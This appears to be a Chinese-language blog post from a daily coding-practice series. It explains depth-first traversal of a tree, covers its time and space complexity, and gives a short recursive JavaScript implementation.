Day 20 : 深度追踪 Depth-first-searh

深度追踪是刷题前一定要了解的观念！
今天就来用Depth-first-searh的方式来走访一棵树吧！

其实从名称上看起来很直觉，简单来说就是当我们走了一条路，前面有多深我们就一直往更深的路走下去，也就是我们会不断探索特定的路直到没有路可以走为止，而後才回退到我们经过的岔路再继续重复的深度探索。

同样情形换作是探索一棵树，我们就一直循着他的树根，不断往更深的地方走，如果遇到分岔，一样要不断往下走(先左後右)，和广度追踪Breadth-first-search不同（BFS是层级上的追踪，明天回提到！)

参考下面这张图，我们会先走
A → B → E 发现没路，退回Ｂ
B → F → I 又没路了，退回Ｆ
F → J 又没路，退回F，F有的路都走过了，再回B ....以此类推

从上面的状况，我们可以发现拜访的方式都一样 → 想到递回。
也就是我们不断去呼叫同一个函式做一样的操作！

所以我们来想想，
如果我们把拜访过的节点放到阵列，重复回退的就不再放入，这个阵列会长什麽样子？
是不是[A, B, E, F, I, J, C, D, G ,K ,H]？

当然不免俗的要提一下时间复杂度 Time: O(V+E)
其中 V : node数，E: edge(边数，像是如图A-B之间的一条线，就是one edge)，也就是说Ｅ的数量就是node间连接的数量。
换句话说：每当我们拜访一个节点，我们就把他加到阵列。
也就是说，我们拜访到一个node，就要呼叫一次function，
但是呼叫function之後，这个node又有几个相连岔路（edge）要呼叫这个function。
像是A就有3个小朋友 ，但 H 就都没有小朋友。

那空间复杂度呢？ 答案是Ｏ(V)
因为过程中，我们不断把每个点推到Stack（如下）：
在 D 之前我们要先执行完 H, K, G 的呼叫

考虑最糟的情况，例如左偏树，我们一样要把他依序推到stack并一个个执行，而且我们的阵列长度其实也是节点数目。

最後来看看程序码的实作！

class Node {
  constructor(name) {
    this.name = name;
    this.children = [];
  }

  addChild(name) {
    this.children.push(new Node(name));
    return this;
  }

  depthFirstSearch(array) {
    //先把目前拜访的node加到array
    array.push(this.name);
    //继续拜访此node的孩子们 每个孩子都要call depthFirstSearch
    for (const child of this.children) {
      child.depthFirstSearch(array);
    }
    return array;
  }
}

明天题目预告：广度追踪之应用 Binary Tree Level Order Traversal